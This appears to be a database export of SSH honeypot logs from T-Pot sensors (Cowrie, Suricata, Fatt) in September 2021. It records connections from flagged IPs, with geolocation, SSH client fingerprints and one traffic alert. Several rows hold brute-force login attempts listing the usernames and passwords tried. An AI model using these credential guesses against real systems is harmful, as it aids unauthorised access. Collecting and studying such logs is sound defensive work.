30611	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:37:04.701205+03	2021-09-20 14:45:03.393141+03	{"_id": "BQb-AnwBvYTbRNuEzT4o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "c06a17978608", "@version": "1", "timestamp": "2021-09-20T11:37:04.701205Z", "@timestamp": "2021-09-20T11:37:04.701Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30612	107.173.209.238	109.199.241.180	Suricata	2021-09-20 14:37:05.795204+03	2021-09-20 14:45:03.394144+03	{"_id": "Bwb-AnwBvYTbRNuEzj7Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "107.173.209.238", "dest_ip": "192.168.20.116", "flow_id": 1063289792582876, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 52918, "dest_port": 22, "timestamp": "2021-09-20T11:37:05.795204Z", "@timestamp": "2021-09-20T11:37:05.795Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30613	107.173.209.238	109.199.241.180	Fatt	2021-09-20 14:37:05.885424+03	2021-09-20 14:45:03.396142+03	{"_id": "Cgb-AnwBvYTbRNuEzz7f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "107.173.209.238", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 52918, "dest_port": 22, "timestamp": "2021-09-20T11:37:05.885424", "@timestamp": "2021-09-20T11:37:05.885Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30614	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:37:05.745993+03	2021-09-20 14:45:03.397141+03	{"_id": "DAb-AnwBvYTbRNuE0T4Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "5640fb638fc4", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:37:05.745993Z", "@timestamp": "2021-09-20T11:37:05.745Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30615	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:37:05.651682+03	2021-09-20 14:45:03.398142+03	{"_id": "Dgb-AnwBvYTbRNuE0T4T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 107.173.209.238:52918 (192.168.176.2:22) [session: 5640fb638fc4]", "session": "5640fb638fc4", "@version": "1", "protocol": "ssh", "src_port": 52918, "dest_port": 22, "timestamp": "2021-09-20T11:37:05.651682Z", "@timestamp": "2021-09-20T11:37:05.651Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30616	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:37:05.88609+03	2021-09-20 14:45:03.400142+03	{"_id": "DQb-AnwBvYTbRNuE0T4T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "5640fb638fc4", "@version": "1", "timestamp": "2021-09-20T11:37:05.886090Z", "@timestamp": "2021-09-20T11:37:05.886Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30617	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:37:06.233596+03	2021-09-20 14:45:03.402141+03	{"_id": "Dwb-AnwBvYTbRNuE0T4T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/4128] failed", "session": "c06a17978608", "@version": "1", "password": "4128", "username": "root", "timestamp": "2021-09-20T11:37:06.233596Z", "@timestamp": "2021-09-20T11:37:06.233Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30766	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:38:20.179147+03	2021-09-20 14:45:03.599142+03	{"_id": "CQb_AnwBvYTbRNuE8j9K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.login.failed", "message": "login attempt [research/password] failed", "session": "42300ea02175", "@version": "1", "password": "password", "username": "research", "timestamp": "2021-09-20T11:38:20.179147Z", "@timestamp": "2021-09-20T11:38:20.179Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30618	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:37:06.89743+03	2021-09-20 14:45:03.403141+03	{"_id": "EAb-AnwBvYTbRNuE1D75", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.login.failed", "message": "login attempt [fuchs/fuchs] failed", "session": "5640fb638fc4", "@version": "1", "password": "fuchs", "username": "fuchs", "timestamp": "2021-09-20T11:37:06.897430Z", "@timestamp": "2021-09-20T11:37:06.897Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30619	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:37:07.534092+03	2021-09-20 14:45:03.404142+03	{"_id": "EQb-AnwBvYTbRNuE2D7i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/422C#1x] failed", "session": "c06a17978608", "@version": "1", "password": "422C#1x", "username": "root", "timestamp": "2021-09-20T11:37:07.534092Z", "@timestamp": "2021-09-20T11:37:07.534Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30620	113.105.80.34	109.199.241.180	Suricata	2021-09-20 14:37:09.235066+03	2021-09-20 14:45:03.406142+03	{"_id": "Hwb-AnwBvYTbRNuE3j5y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:37:08.669983+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.105.80.34", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 725039643375903, "payload": "AAADzAYUb3gmAJqLx63tfCPeHqB+ZAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36854, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:37:09.235066Z", "@timestamp": "2021-09-20T11:37:09.235Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......ox&......|#...~d...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
30621	113.105.80.34	109.199.241.180	Fatt	2021-09-20 14:37:09.235066+03	2021-09-20 14:45:03.407142+03	{"_id": "IQb-AnwBvYTbRNuE3z6C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "113.105.80.34", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 36854, "dest_port": 22, "timestamp": "2021-09-20T11:37:09.235066", "@timestamp": "2021-09-20T11:37:09.235Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30622	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:37:10.119844+03	2021-09-20 14:45:03.409142+03	{"_id": "Igb-AnwBvYTbRNuE4D60", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "c06a17978608", "@version": "1", "duration": 5.703402042388916, "timestamp": "2021-09-20T11:37:10.119844Z", "@timestamp": "2021-09-20T11:37:10.119Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30623	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:37:14.3545+03	2021-09-20 14:45:03.410141+03	{"_id": "Nwb-AnwBvYTbRNuE8D5X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 1.117.219.217:40590 (192.168.176.2:22) [session: b37b1e370f90]", "session": "b37b1e370f90", "@version": "1", "protocol": "ssh", "src_port": 40590, "dest_port": 22, "timestamp": "2021-09-20T11:37:14.354500Z", "@timestamp": "2021-09-20T11:37:14.354Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30624	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:37:14.3573+03	2021-09-20 14:45:03.412142+03	{"_id": "OAb-AnwBvYTbRNuE8D5X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "b37b1e370f90", "version": "b'SSH-2.0-libssh_0.9.6'", 